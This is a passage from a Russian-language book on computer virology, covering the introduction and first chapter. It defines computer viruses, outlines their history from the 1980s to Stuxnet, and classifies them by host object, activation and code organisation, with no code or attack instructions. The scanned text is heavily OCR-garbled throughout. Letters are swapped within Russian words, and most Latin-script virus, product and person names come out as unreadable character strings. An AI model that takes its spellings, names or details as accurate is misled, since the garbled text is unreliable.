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...Годьши руками, хитрость против хитро- 
сти, разум против инстинкта, сила против 
сили, трое суток не останавливаясь, гнать 
оленя через бурелом, настигнуть и повапить 
на землю, схватив зарога...

А. и Б. Стругацкие. «Обитаеммй остров»

Ввеление
Тема зашитн компьютерной информации стала очень популярной 
в последние десятилетия. Связано это прежде всего с повсеместньш 
распространением внчислительной техники, внедрением ее практи- 
чески во все сферн человсчсской деятельности. Любне нарушения в 
работе вм ч и с л ите л ь н м х систем с каждьш годом становятся для чело- 
века все болезненнее и опаснее.

Одной из актуальнейших проблем. связанннх со «здоровьем» 
компьютеров, является проб.тема зашитн их от компьютерннх ви- 
русов. После 26 апреля 1999 года, когда сотни тьгсяч ПЭВМ в мире 
бнли внведенн из строя в результате активации вируса \У71п32.С1Н 
(«-Чернобнльского»), в этом уже никто не сомневается.

Но достоверной и. главное. полезной информации по вирусоло- 
гической тематике немного. Сушествуклцие же публикации можно 
условно разделить на две группн.

Первую составляют книги и статьи, написаннне «ортодоксами» -  
авторами известннх антивируснмх программ и сотрудниками орга- 
низаций, занимаюшихся зашитой компьютерной информации. Как 
правило, эти публикации рассчитанн на массового читателя и на- 
правленн на формирование у него лишь минимально необходимо- 
го уровня антивирусной грамотности. Технических деталей в таких 
публикациях мало, а конкретная информация сводится к описанию 
внешних проявлений различннх вирусов и правил работн с теми или 
иньши антивирусами.

Другая группа публикаций принадлежит перу «экстремистов». 
Эти работн содержат достаточно подробнне описания конкретннх 
алгоритмов, исходнне текстн вирусов, советн по их распростране- 
нию. Как правило, авторами являются люди, написавшие несколь- 
ко простнх вирусов и горяадие желанием донести свое «умение» до 
всех желаюадих. Книги и статьи подобного сорта рассчитанн преиму- 
адественно на невзнскательннх любителей «жареного». Соответ-
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ственно, в них содержится слишком много эмоций и слишком мало 
действительно полезной информации.

Книга, которая лежит перед вами, не относится ни к первой, ни 
ко второй группе. Автор постарался пройти по узкой грани между 
«безответственньш подстрекательством к написанию вирусов» и 
«ханжеским умолчанием необходиммх подробностей». В книге рас- 
сматриваются основнне принципм организации компьютерннх ви- 
русов, методики их обнаружения, изучения и обезвреживания.

Нужна ли такая книга? Представляется, что просто необходима.
Прежде всего, знание технических подробностей устройства виру- 

сов и принципов их обнаружения поможет пользователю грамотно 
построить и использовать антивирусную завдиту.

Во-вторьпс, нельзя исключить ситуацию, когда вирусолог-профес- 
сионал просто физически не успеет прийти на помошь, и рассчитм- 
вать в условиях дефицита времени придется только на свои сильг, 
знания и умения. Такая книга может послужить в качестве учебника 
и справочника по самостоятельному решению проблемм.

В-третьих, компьютерная вирусология широко применяет методн 
самьтх различнмх областей человеческого знания: техники, инфор- 
матики и математики. Изучение устройства вирусов и принципов их 
распознавания поможет сушественно повмсить свою квалификацию.

В-четвертмх, в настоятее время назрела острая необходимость 
в специалистах, компетентнмх в области компьютерной вирусоло- 
гии, но производители коммерческих антивирусов делятся своими 
знанияю! и умениями лишь с узким кругом «посвяшеннмх». Не на- 
стала ли пора раскрнть некоторме их секретн?

Наконец, изучать мир компьютернмх вирусов просто очень инте- 
ресно!

Итак, в книге рассмотренн все типн саморазмножаюшихся про- 
грамм, получивших распространение в последнюю четверть века:

О загрузочнне вирусн;
О файловне вирусн для М 8-В08, ШшсЬ луз всех версий и 11Н1Х- 

подобннх операционннх систем;
О макровирусм для М5 ОШсе;
О сетевне, почтовме и «мобильнне» черви;
О «экзотические» типм вирусов.
Так назнваемне «троянские программн», не способнне к само- 

стоятельному размножению, в книге не рассматриваются.
Приведенн необходимне сведения по системной организации 

различнмх сред, пригоднмх для сушествования компьютерньтх ви-
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русов, -  носителей информации, операционнмх систем, пакетов 
прикладнмх программ. Также значительная часть книги посвяшена 
рассмотрению математических принципов и конкретннх алгоритмов, 
лежаших в основе поиска, распознавания и удаления вредоноснмх 
программ.

Конечно, книга рассчитана на достаточно квалифицированного 
читателя. Необходимо владение программнрованием на язиках Си и 
Ассемблер для 180х'86/Реп(лит хотя би на уровне институтских кур- 
сов. Для адекватного восприятия математических аспектов нелиш- 
ними будут знания в рамках дисциплин «Дискретная математика» 
и «Дифференциальнме уравнения», изучаемнх на младших курсах 
технических вузов. Но автор надеется, что это не станет препятстви- 
ем для пьггливого читателя, желаюшего заняться увлекательнейшим 
занятием -  охотой за компьютерньши вирусами.



ГЛАВА

Обшие сведения 
о компьютерннх 

вирусах
В среде компьютерной и околокомпьютерной обвдественности сло- 
жилось представление о компьютерном вирусе как о некоем неуло- 
вимом электронном микроорганизме, путешествуюшем с машинн на 
машину и необратимо разрушаюшем все, до чего способен дотянуть- 
ся своими отравленннми виртуальньши когтями. А по страницам 
малонаучно-фантастических произведений и бульварннх журналов 
кочуют «боевне вирусн» и «вирусн-убийцн», якобн разводимне и 
используемьте нехорошими хакерами для своих зловеших целей.

Что же представляют собой компьютернне вирусн на самом деле?

1.1. Что такое «компьютернь1й вирус»
Пожапуйспш, тогда еце одно определение, 
очень возвьшенное и благородное.

А. и Б. Стругацкие. «Пикник наобочине»

Если углубиться в историю происхождения слова «вирус», то можно 
отметить, что «настояшие» болезнетворнне вирусн, то есть сложнне 
молекулн, паразитируюшие на живнх клетках растений и организ- 
мов, получили свое наименование в соответствии с латинским словом 
глги.ч, которое дословно переводится как «яд». Этот термин принадле- 
жит голландцу Мартину Бейерингу, которьга в самом конце XIX века 
в научной дискуссии с первооткрнвателем вирусов русским ученнм 
Д. И. Ивановским отстаивал гипотезу, что обнаруженнне незадолго 
до этого страннне микроскопические объектн являются ядовитн-
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ми вевдествами. Ивановский же считал, что они «живне» и поэто- 
му представляют собой не «вевдества», но «сушества». В настоявдее 
время признано, что вирусм и не «вешества», и не «сувдества». Это 
автономнне «обломки» и «испорченнне детали» наследственного 
аппарата клеток, способнне внедряться в живую клетку и «перепро- 
граммировать» ее таким образом, чтобн она воспроизводила не себя, 
а все новне и новне «обломки» и «детали».

Рис. 1.1 ❖ «Настояидий» вирус и его первооткриватели:
а) вирус «табачной мозаики»; б) Д. И. Ивановский; в) М. Бейеринг

Таким образом, в понятии «вирус» главньш сейчас считается не 
ядовитость и вредоносность, а способность к самовоспроизведению.

Итак, компьютерньш вирус -  это:
программа, способная к несанкционированному соэданию своих
функционально идентичнш копий.

В данном определении рассмотрим подробнее три ключевнх по- 
нятия.

Во-первнх, основннм определяюидам признаком вируса являет- 
ся умение воспроизводиться, генерировать себе подобнне объектм. 
Именно эту часть определения имел в виду в середине 80-х годов аме- 
риканский математик Ф. Коэн, впервне в истории произнеся слова 
«компьютерннй вирус» (хотя сам он уверяет, что авторство термина 
принадлежит его коллеге Л . Адлеману). В те годм возможность сувде- 
ствования вирусов рассматривалась в основном только теоретически, 
и алгоритмм их функционирования описмвались не на язнках про-

а б в
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граммирования, а в тер.минах системм команд математических фор- 
мализмов типа «машини Тьюринга» или «нормальнмх алгоритмов 
Маркова».

Во-вторьтх, понятие «функдиональной идентичности» копий ви- 
руса введено в определение ввиду того, что сушествует класс так на- 
змваеммх полиморфньис вирусов, два различнмх экземпляра котормх 
внешне могут не иметь ничего обшего, но вмполняют одни и те же 
действия в соответствии с одним и тем же алгоритмом. Таким обра- 
зом, полиморфнме вирусм идентичнм только с точки зрения вьтол- 
няеммх ими функций.

Наконец, понятие «несанкционированнмй» означает, что вьтше- 
упомянутое создание своих копий происходит вне зависимости от 
желания пользователя. Любая уважаювдая себя операционная систе- 
ма (например, М 5-В08) тоже способна копировать самое себя, но 
вирусом не является, поскольку процесс этот происходит с ведома 
человека.

От компьютернмх вирусов необходимо отличать так назьшаемне 
троянские программи, не обладаюшие способностью к саморазмно- 
жению и предназначеннме исключительно для вьшолнения несанк- 
ционированннх (как правило, деструктивнмх) действий. Журна- 
листь! и малоквалифицированнме пользователи часто смешивают 
понятия вируса и троянской программн. А ведь между «вирусами» 
и «троянами» такая же разница, как между «заразой» и «отравой». 
Мн же не говорим «отравился гриппом>> или «заразился цианистмм 
калием», верно? Вот и не надо путать!

Класс троянских программ нами рассматриваться не будет.

1.2. Нескодько исторических замечаний
Это длинная история, которую к тому же 
изложить в обшепринятьа терминах очень 
трудно.

А. и Б. Стругацкие. «Хромаясудьба»

Сушествует множество взглядов на историю возникновения и раз- 
вития проблемн компьютерньтх вирусов, довольно сильно различаю- 
шихся в отношении того, какие собнтия следует считать действитель- 
но важннми, в какой последовательности и когда они происходили, 
да и происходили ли вообше. Попьггаемся и мм дать краткий очерк 
этой истории, основаннмй на синтезе различннх мнений. \  1 ц Оа
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Прежде всего следует отметить, что идея квазиживнх компьютер- 
ннх организмов бнтовала в художественной литературе и в массо- 
вом сознании задолго до того, как появился первнй «настояший» 
компьютерннй вирус. Н. Н. Безруков для доказательства этого тезиса 
ссьшается на иностраннне источники [3], но можно найти и отечест- 
веннне примерн. Например, в фантастическом рассказе Д. Билен- 
кина «Философия имени», написанном в конце 70-х годов XX века, 
системн управления звездолета подвергаются атаке со сторонм ки- 
бернетических микроорганизмов, возникших в результате «мутаций>> 
завдитно-ремонтннх микроустройств корабля.

Кроме того, к моменту создания первого «настояшего» вируса уже 
сушествовало множество аналитических (например, работн фон Ней- 
мана) и программннх (например, черви Сгеерег и Хегох) моделей, 
содержаших идеи самокопирования компьютерного кода. Огромную 
роль в разработке и изучении таких моделей снграл американский 
математик Ф. Коэн. Он в первой половине 80-х годов XX века актив- 
но изучал саморазмножаюшиеся компьютернне механизмн с теоре- 
тических позиций, опубликовал несколько научннх работ и зашитил 
в 1986 г. на базе университета Южной Калифорнии докторскую дис- 
сертацию на вирусологическую тему.

Направление работ Ф. Коэна не бьшо ни для кого секретом, он 
активно публиковался в различннх научннх изданиях. Поэтому не- 
которне эксперименти по созданию компьютерннх вирусов. скорее 
всего, бнли вьшолненн людьми, знакомьши с его работами, -  сту- 
дентами и аспирантами учебннх заведений. Считается, например, что 
вирус ЬеЬ1§Ь бнл написан в 1986-1987 гг. студентом Лехайского уни- 
верситета по имени Кеп уап \¥ук с целью практической иллюстрации 
теоретических разработок Ф. Коэна.

Впрочем, несколько ранее (вероятно, евде в начале 1986 г.) двумя 
пакистанцами, братьями Басидом и Амжадом Алви, бнл создан и рас- 
пространился по миру в загрузочннх секторах дискет вирус Вгаш, 
которнй лишь спустя несколько месяцев бнл обнаружен, опознан 
именно как «компьютерньш вирус» и подробно изучен в университе- 
те штата Делавэр, США.

Известннй российский программист Антон Чижов утверждал, что 
примерно в то же время им в исследовательских целях бнл написан 
и распространен по компьютерам московских организаций безнмян- 
ннй и безвредннй вирус, которнй прожил до конца года и мирно са- 
моуничтожился. Ни подтвердить, ни опровергн}Ть этого факта ни-
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кто, кроме самого Чижова, не способен -  в те времена вирусология 
евде не сувдествовала ни как наука, ни как профессия.

1987 год принес евде ряд знаменательннх собьггий. Ральф Бюр- 
гер (Германия) опубликовал в своей книге [36] метод заражения 
СОМ-программ и привел в качестве примера исходнмй текст вируса 
У1еппа.648, якобм написанного кем-то другим. В Израиле бнли соз- 
данн вирусьг семейства^егиза1ет (Черная пятница), в Новой Зелан- 
дии -  вирус 51опес1 (МапЗиапа), а в Германии -  вирусн семейства 
Саясайе. Большинство упомянутнх вирусов очень бнстро распро- 
странились по миру, а некоторме из них (например, вирусм много- 
численного семейства 51опе<1) встречаются изредка в загрузочннх 
секторах дискет даже сейчас.

Авторов первмх вирусов по праву можно считать очень талантли- 
внми программистами, поскольку они самостоятельно открнвали 
доселе неизвестнме особенности операционной системм и учились 
пользоваться ими. Но примерно к 1988 г. начала складнваться ситуа- 
ция, когда в «дикой природе» оказнвались не только сами вирусн, 
но и их твдательно прокомментированнне исходнне текстьт. И. как 
следствие, наряду с оригинальннми разработками стали появляться 
вирусн, созданньте по чужому образу и подобию, например клонн 
вируса У 1еппа По этому поводу хочется процитировать В. В. Мая- 
ковского:

Человек, впервь/е формулировавший, что «дваждь/два четь/ре», -  
великий математик, если даже он получил эту истину из складь/- 
вания двух окурков сдвумя окурками. Все дальнейшие люди, хотя 
бь/ они складь/вали неизмеримо большие веши, например паро- 
воз с паровозом, -  все эти люди -  не математики... Но не надо 
отчетность по ремонту паровозов пось/лать в математическое 
обшество и требовать, чтобь/ она рассматривалась наряду с гео- 
метрией Лобачевского.

Видимо, вирусописатели не бмли знакомн с мнением великого 
советского поэта, поэтому количество вирусов, написанннх по мо- 
тивам чужих разработок, стало увеличиваться в геометрической про- 
грессии.

Впрочем, далеко не все вирусописатели занимались плагиатом. 
Важнейшим собмтием 1988 г. можно считать эпидемию оригинально- 
го, намного опередившего свое время «сетевого червя->, написанного 
Р. Моррисом, аспирантом Корнелльского университета (США). Этот 
вирус в течение нескольких ноябрьских дней сумел распространить-



20 ❖ Обшие сведения о юмпьютерних вирусах

ся по университетским и коммерческим сетям США, Канадн и неко- 
торнх других стран, заразив более 6000 компьютеров.

Также к 1988 г. (по мнению Н. Н. Безрукова, [3]) следует отнести 
первне случаи проникновения «импортннх» компьютерннх вирусов 
на территорию СССР. Широкий обшественньш резонанс получили 
экспериментн по обнаружению и изучению вирусов, проводившие- 
ся в 1989 г. во время работн «летней международной компьютерной 
школн» (г. Переславль-Залесский). Именно в эти годн появились 
первне удачнне антивирусние программн и начали складнваться 
коллективн людей. до настояшего времени профессионально зани- 
маюшихся разработкой средств антивирусной зашитн. Среди оте- 
чественних «ветеранов антивирусного фронта», которие начали 
серьезно заниматься проблемой завдитьт от компьютерннх вирусов 
именно в те годн, можно отметить как Д. Н. Лозинского, Е. В. Кас- 
перского, Д. О. Грязнова, В. В. Богданова, так и еше несколько не ме- 
нее ярких имен.

К 1990 г. во вс.ем мире бьтло создано всего около сотни вирусов, 
причем кажднй новий распространялся практически беспрепят- 
ственно, внзивая более или менее широкую эпидемию. Связано это 
бнло прежде всего с недостаточной информированностью пользо- 
вателей и неразвитостью средств антивирусной зашитн. Но вскоре 
ситуация изменилась. С одной сторонн, пользователи наконец-то гю- 
няли опасность бесконтрольного распространения вирусов, многие 
из которнх содержали вредоноснне фрагментн. С другой -  начала 
набирать обороти индустрия антивирусного программного обеспе- 
чения. В нашей стране активно использовалась условно-бесплатная 
антивирусная программа АхсЬТез! Д. Н. Лозинского, несколько менее 
популярен бнл пакет «Доктор Касперский» Е. В. Касперского. За ру- 
бежом лидировали комплект Зсап/С1еап о'1\}оЬп МсА1ее, Ғ1пс1\пшя от 
А1ап 5о1отоп и КоЛоп Аптчшя от Ре1ег КогТоп Сотриип§ (впослед- 
ствии эта торговая марка стала собственностью фирмн Зугпаш.ес). 
Впрочем, последний антивирус мог и «не родиться», поскольку бук- 
вально парой лет ранее, в конце 1980-х годов, Питер Нортон публич- 
но и громогласно заявлял о мифичности вирусной угрозн и сравни- 
вал ее с угрозой крокодилов, живуших в нью-йоркской канализации. 
Но, к счастью, бнстро сообразил «что почем» и благословил развитие 
антивируса, названного его именем1.

1 Кстати, спустя 15 лет появились и реальнме сообшения о поимке аллигато- 
ров в канализациях американских городов.
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Разу.меется, более широкое распространение получали вирусн, ис- 
пользуюшие свежие и оригинальньге способм распространения и за- 
ражения. Среди «лауреатов» 1989-1991 гг. можно отметить прежде 
всего вирусм «болгарской сборки», связаннне с разработками та- 
лантливого и плодовитого программиста по прозвишу Оагк Ауеп^ег 
и его «сподвижников», а именно Е<1Й1е, Уасзше, Ооос11е (в том числе 
и знаменитьш чмузмкальннй» Ооос11е-2С.2885) и др. Кроме того, 
активно подключились к процессу написания вирусов и отечествен- 
нме программистн: вирусьт семейств ХРЕН, 8УС, УогопехЬ и многих 
других бьгстро распространялись по стране вместе с компьютерннми 
играми, прикладньтми и системньши программами, которьши обме- 
нивались между собой ничего не подозреваюадие пользователи. По 
воспоминаниям Д. Н. Лозинского, в 1990-1992 гг. ему приходилось 
вьшускать новую версию своей антивирусной программн два раза 
в неделю. Не ск\"чали и авторн других антивирусов, получивших 
хождение в те годн, например В. В. Богданов (АлйАРЕ), А. Борисов 
(АУЗР), А1ап Зо1отоп (Вг5о1отоп) и др.

А количество вирусов и вирусннх семейств продолжало стре- 
мительно увеличиваться. И основную опасность несли не столько 
эпидемии профессионально написанньгх шедевров типа 01Г.1024 
(0пуег.1024) или «удачно» запушенннх в живую природу достаточ- 
но рядовнх вирусов типа М1сЬе1ап§е1о (МагсЬ-6), сколько всевоз- 
раетаюхцая лавина прсютнх, во многом повторяювдих друг друга, ко- 
роткоживувдих подделок. Именно это обстоятельство в 1992-1993 гг. 
породило качественно новнй виток в эскалации прсгавостояния 
«вирус-антивирус». Авторьг антивируснмх программ начали ис- 
пользовать в своих продуктах механизм эвристптеского анализа, 
позволявший автоматически распознавать новие, евде не известнне 
вирусологам экземплярн компьютерной инфекции по типичньш, 
характерннм именно для вирусов фрагментам кода и операциям. Их 
оппонентн ответили созданием полиморфиих вирусов, два любнх эк- 
земпляра котормх хотя и работали по одному и тому же алгоритму, но 
не содержали внутри себя постоянннх фрагментов кода. Более того, 
все тот же Оатк А^еп^ег сделал доступной для широких масс «заинте- 
ресованннх личностей» технологию М1Е, позволявшую достаточно 
просто подключать механизм полиморфности к любому вирусу, даже 
самому примитивному, многократно увеличивая тем самьш его со- 
противляемость к обнаружению.

Середина 90-х годов прошла под знаком борьби именно с внсо- 
косложннми, подчас многоплатформеннъти (то есть стюсобньши
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заражать программм различннх типов) вирусами. Шанс на распро- 
странение получали только очень изошреннне вирусн, например 
принадлежахцие к семействам ОпеНа1£, ^аЬаз, 2Ьеп§Ь1, 11кгаше, 
№иСгаскег, КОА.Ғ^ЬСег, Кас/ог и др., написать которше мог далеко 
не каждий программист. В свою очередь, вирусологи взяли на воору- 
жение крайне сложнме механизмм эмуляции кода, позволявшие ими- 
тировать исполнение программ и реагировать уже не столько на по- 
дозрительнме фрагментм программ, сколько на их подозрительнме 
действия. На смену простьш антивирусам типа АдсЬТез!: приходили 
более сложнме разработки, например Ог\¥еЬ питерца И. Данилова. 
Ситуация несколько стабилизировалась, но ненадолго.

Ко второй половине 90-х годов большинство пользователей уже 
перешло в своей работе на операционнме системн семейства М5 
\\/пк](П\'з. Изменились канальг распространения и содержание фай- 
лов, копируеммх с компьютера на компьютер. На смену дискетам 
пришли компакт-диски и глобальнне сети. Все чаш.е вместо игр и 
утилит с компьютера на компьютер передавались изображения. базм 
данннх, документьх. Вирусн, заражаюадие такие якобн «неиспол- 
нимне» файлн, просто обязанн бмли появиться, и они появились! 
Первой ласточкой стал так назнваеммй макровирус Масго.\\гогё. 
Сопсср1 (лето 1995 г.), заражавший специализированньге программн 
на макроязнке \¥ог(1Вая1с, которне содержалисъ внутри документов 
текстового процессора М5 \¥огс1. Потом количество макровирусов 
стало увеличиваться с такой же скоростью, с какой всего за несколько 
лет до этого множились М5-1)05-вирусь!. Появились макровирусн 
для электронннх таблиц МЗ Ехсе1 (напрнмер, знаменитмй Масго. 
Ехсс1.Ьагоих) и баз данннх М5 Ассезз. Бнл освоен макроязик \ ;ВА, 
которьга фирмой М1СГ050Й «поставлялся на вооружение» вместе 
с новнми версиями М5 ОШсе. Пик распространенности макрови- 
русов пришелся на 1998-2000 годьт, среди «лауреатов» можно на- 
звать МасгоЛУогсКСар, Масго.\¥огс197.С1а55, Масго.\Уогс197.Е4Ьап, 
Масго.\Уог(197.Магкег, Масго.\Уогс197.ТЬи5 и прочих. В новом веке 
количество вновь создаваемнх макровирусов заметно уменьшилось, 
а через несколько лет и вовсе сошло на нет.

Кро.ме того, к 1996 г. вирусописателями бнли наконец-то разрабо- 
танн способн простого и надежного заражения \ \ /1п<Зои'з-программ. 
Конечно, написание \¥тс1о\\'5-вирусов -  не такая простая задача и 
требует достаточно внсокой квалификации, но в условиях нераз- 
витости соответствуюшего антивирусного обеспечения и неверия 
пользователей в возможность распространения \Утс1ош5-<<заразн»



Несколъко исторических замечвний ❖ 23

повторилась ситуация конца 80-х годов. Относительно немногочис- 
леннне ^тсЬл^з-вирусм сумели бьгстро распространиться по всему 
миру. Апофеозом стала активация вируса ЛУш9Х.С1Н («Чернобмль- 
ского») в апреле 1999 г., которая привела к повреждению сотен тисяч 
компьютеров во всем мире. 1одом позже «профемел» чрезвьгчайно 
заразньш вирус \Ут32.ҒипЬоуе, источниками распространения ко- 
торого неоднократно становились случайно инфицированнме дис- 
триб\тивЬ1. размешеннме на интернет-сайтах крупнейших произво- 
дителей программного обеспечения. А потом \\г1П(1о\\'5-вирусь1 тоже 
отошли на второй план, хотя программно-аппаратнме условия, со- 
действуюшие их сушествованию и распространению, не изменились 
и остаются огносительно благоприятньши для этого вида «заразм» 
до сих пор.

Вместо этого вирусописатели принялись активно осваивать новне 
пути распространения «заразм» -  через глобальную сеть Интернет. 
Оченъ простой по идее и реализации вирус-червь МеИзза в том же 
апреле 1999 г. за несколько суток сумел многократно «обежать» всю 
планету, внзвав панику среди пользователей и системнмх админист- 
раторов. Следуюшая пятилетка запомиилась в основном молние- 
носннми по скорости «расползання» и исключительно обширньши 
по распространенности эпидемиями сетевмх и почтовнх вирусов и 
червей УВЗ.ЬоуеЬеИег, Е-\\гогтЛ¥т32.8\уеп, Е-\Уогт.\Ут32.К1ех. 
№<;-\¥огтЛУт32Хоуе8ап, Е-\У огт.\¥т32.М уО оот, \ ’е(-\Уопп. 
\¥т32.3а88ег и прочих. В 2005 году появились признаки того, что 
и эти эпидемии стали потихоньку стихать. На смену глобальннм 
эпидемиям нескольких десятков различннх червей пришли практи- 
чески не прекрашаюшиеся «микроэпиде.чши», внзьшаемне массами 
мелких модификаций нескольких «базовмх разработок», -  например, 
одних только разновидностей червя Ва§1е насчитнвается несколько 
тнсяч. Кроме того. сохранилп умеренную актуальность и вирусн 
«стармх» типов, просто про них стали меньше говорить. В мировнх 
масштабах они «не делают погодьт», но встречаются в «дикой при- 
роде» до сих пор.

Почему же поколения вирусов сменяют друг друга без, казалось 
он, достаточно веских объективннх причин? Дело в том, что силь- 
ное влияние на мировую вирусную «погоду» оказнвает субъектив- 
ннй социальннй фактор, известннй под названием «мода». В усло- 
виях растушего противодействия, оказнваемого вирусам со сторонм 
вирусологов и пользователей, неорганизованное вирусописатель- 
ское сообшество мечется, бросается из одной крайности в другую.
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в любой момент готово изменить направление своей деятельности, 
если это изменение обешает возможность «прославиться» проше и 
бмстрее. Кроме того, у значительной части киберандеграунда в по- 
следние годм изменилась мотивация, так что «слава» стала ценить- 
ся куда меньше, чем «деньги» и «власть». Это привело к массовьш 
миграциям бмвших вирусописателей в стан «трояншиков», то есть 
в стан производителей самостоятельно не размножаюшегося, но 
крайне вредоносного (похишаюшего конфиденциальную информа- 
цию, рассмлаюшего спам и т. п.) программного обеспечения. Нако- 
нец, созданием вредоносньтх программ профессионально занялись 
структурм (вероятно, спецслужбм и силовме ведомства различньтх 
стран), которме заинтересованм не в массовмх эпидемиях, а в точеч- 
нмх атаках на ограниченнмй круг целей. Так, например, в создании 
и распространении «шпионских программ» Ма§1С Ьап1ет (2001 г.) 
и К2Б2 (2011 г.) подозревают ФБР США и полицию ФРГ соответ- 
ственно, а авторство «боевого» червя 5Сихпе<; (2010 г.) приписмвают 
тем политическим структурам, котормм не внгодно развитие ядер- 
ной программм Ирана.

Настояшее время характеризуется появлением все новмх и новнх 
типов вирусов, активно осваиваюадих многочисленнне «днрн> в за- 
адитннх механизмах информационннх систем. Количество обнару- 
женннх потенциальнмх целей для зараження вирусами увеличива- 
ется с кажднм годом. Вирусм научились распространяться не только 
вместе с программами, документами, электронннми таблицами и 
Ь1т1-страницами, но и вместе с базами даннмх, изображениями, ар- 
хивами, и даже освоили сотовую телефонную связь. Кроме того, ста- 
рме «днрм» тоже евде полностью не залатанн, и традиционнне типн 
вирусов по-прежнему в любой момент способнн «осчастливить» ми- 
ровое компьютерное сообхцество своим присутствием.

Ближайшие несколько лет обеадают немало ярких и интересннх 
собьггий на фронте антивирусной борьбн.

1.3. Какие бьивают вирусь!
Азарт классификатора и коляекциоиера
вдруг пробудижя в нем.

А. и Б. Стругацкие. «Отягошеннме злом»

Ранее мн уже использовали ряд терминов, относяадихся к различнмм 
типам вирусов. Теперь рассмотрим эти классификации подробнее.
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1.3.1. Классификация по способу использования 
ресурсов
В настояшее время целесообразно различать вируш-паразити (или 
просто вирусж) и вируси-черви (или просто черви).

Первме размножаются с использованием ресурсов, принадлежа- 
ших друтм  программам. Например, они внедряются внутрь этих 
программ и активируются вместе с их запуском.

Вторьхе, как правило, используют только ресурсм вмчислитель- 
нмх систем (оперативную и дол!'овременную память, непрограммние 
файлм), рассмлая свои когши по сетям, раскладмвая их по носителям 
информации, буферам памяти, чужим архивам и т. п. Черви автоном- 
нм. к другим программам они не прикрепляются.

1.3.2. Классификация по типу заражаеммх 
объектов
В соответствии с этой классификацией вирусн можно разделить на 
программние, загрузочние, макровируси и многоплатформенние ви- 
русн.

Программние вирусм заражают файлн других программ. Пример: 
вирус \ \ гш9Х.С1Н, паразитируювдий на \ \ гтс1о\те-программах.

Загрузочние вирусм заражают или подменяют маленькие про- 
граммки, находяшиеся в загрузочннх секторах жестких дисков, дис- 
кет и флэшек. Примером может служить вирус М1сЬе1ап§е1о.

Питательной средой для макровирусов служат «макросн» или 
«скриптн», то есть специализированнне программнме компонентъг, 
написаннне на язиках сценариев и находяшиеся внутри файлов раз- 
личних офиснмх приложений -  документов М5 \\чц'с1, электронннх 
таблиц М5 Ехсе1, изображений Соге! Ога\у и прочего. Примери: ви- 
рус Сопсер1, заражаюший документм МЗ \\'ог<1; вирус Ьагоих, зара- 
жаюший Ехсе1-таблицн.

Многогшатформенние вирусн паразитируют одновременно на 
объектах различнмх типов. Например, вирус ОпеНа1Ғ.35М заража- 
ет как программн М 5-Б08. так и загрузочнме сектора винчестеров. 
А вирусн семейства АпагсЬу, кроме программ М 5-В05 и \У!пс1о\у8, 
способнм заражать также документн М5 \¥ог<1

1.3.3. Классификация по принципам активации
По этому признаку вируси целесообразно разделить на резидентние 
и нерезидентние.
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Резидентнъш вируси постоянно находятся в памяти компьютера 
в активном состоянии, отслеживают попмтки обравдения к жертвам 
со сторонм других программ и операционной системм и только тогда 
заражают их. Например, исполнимме программм заражаются в мо- 
мент запуска, завершения работм или копирования их файлов, а за- 
грузочнме сектора -  в момент обравдения к дискетам. Примерами по- 
добннх вирусов являются все те же ОпеНа1Ғ.3544 (в среде М 5-005) 
и \¥ш9Х.СГН (в среде \Утс1оте 95/98/МЕ).

Нерезидентние вируси запускаются в момент старта заражен- 
ннх носителей, время их активности ограничено. Например, вирус 
У)еппа.648 «бодрствует» только несколько мгновений сразу после 
запуска зараженной им программм, но за это время успевает най- 
ти на диске множество новмх жертв и прикрепиться к ним, а потом 
передает управление своему носителю и «заснпает» до следуювдего 
запуска.

В многозадачнмх операционннх системах возможнн -ьполурези- 
дентнъ/е» вирусьг. они стартуют как нерезидентньте, организуют 
себя в виде отдельного потока запувденной программн, весь срок 
работн этой программм ведут себя словно резидентнне, а потом за- 
вершают работу вместе с программой-носителем. Пример -  \Ут32. 
Ғип1оуе.4070.

1.3.4. Классификация по способу организации 
программного кода
Этот таксономический признак позволяет внделять незашифрован- 
ние, зашифрованние и полиморфние вирусн.

Незашифрованние вируси представляют собой простме програм- 
мн, код которнх не подвергается никакой дополнительной обработ- 
ке. Такие вирусн (например, У)еппа.648) легко обнаруживать в про- 
граммах, исследовать при помовди дизассемблеров и декомпиляторов 
и удалять.

Код зашифровашшх вирусов, как правило, подвергается некоторьш 
видоизменениям. Вирус заражает жертвм своей зашифрованной ко- 
пией, а после старта расшифровмвает ее в памяти ЭВМ. При обна- 
ружении, изучении и удалении таких вирусов возникают трудности, 
так как вирусологу необходимо как минимум вьшолнить обратную 
операцию -  расшифровку кода. Обьмно зашифровка вирусов сопро- 
вождается использованием в коде специальимх антиотладочнмх при- 
емов. Пример такого вируса -  8ауЬа.01еЬаг<1.
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Наконец, полиморфние вируси -  это разновидность зашифрован- 
нмх вирусов, которьге меняют свой двоичнмй образ от экземпляра 
к экземпляру. Например, полиморфньши являются все вирусн се- 
мейства ОпеНа1£. Частннм случаем полиморфннх являются мета- 
морфнъье вирусн, которне не шифруют двоичньш образ своего тела, 
а просто переставляют местами его командн и заменяют их аналога- 
ми, вмполняюшими те же действия. Пример: \Ут32.2Му5к.

1.3.5. Классификация вирусов-червей
Чаше всего она вьшолняется по способу распространения. Почтовие 
черви (например, Е-\¥огтЛ\гт32.АНх) распространяются по элект- 
ронной почте, в виде вложений («аттачей») в электроннне пись- 
ма. Сегпевие черви (их еше иногда назнвают «интернет-червями»), 
такие как, например, Ке(>\Уогт.\У1п32Хоуезап. используют для 
своего распространения непосредственно сетевне протоколн и рас- 
сьшают себя внутри информационннх пакетов. «'[елефонкъш», или 
«мобилъние», черви (например, СаЬ1г), являюшиеся разновидностью 
«сетевнх», при самораспространении пользуются специфическими 
протоколами беспроводного информационного обмена, такими как 
В1иеТоо1:Ь. А известнне еше с 1980-хгодов файловиечерви (например, 
Мки'опп.715) самостоятельно не распространяются с компьютера на 
компьютер, вместо этого они раскладнвают свои многочисленнне 
копии по различннм каталогам различннх носителей информации и 
«засовнвают» их в 21Р- и КАК-архивн.

1.3.6. Прочие классификации
Сушествует еше немало вирусннх таксономий, порой довольно стран- 
ннх. Например. юристам внгодно делить все вирусн на «вулъгарние» 
(состояшие из единого неделимого фрагмента) и «раздробленние* 
(состояшие из отдельннх фрагментов, не являюшихся вирусами, но 
способннх объединяться в одну вирусную программу). А журналис- 
тн, не имеюшие никакого представления о реальном устройстве и 
возможностях вирусов, обсуждают «четнре поколения деструктив- 
ности», причем вирусн, принадлежашие последнему поколению, яко- 
он способнн воздействовать аж на чедовеческий мозг.

Разумеется, нас подобная «ненаучная фантастика» интересовать 
не будет.
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1.4. О «вредностм» и «полезносги» 
вирусов

«Папаша, -  говорил он. -  Враюмм с. еами за- 
кончим этот бессм исленн >я й спор».

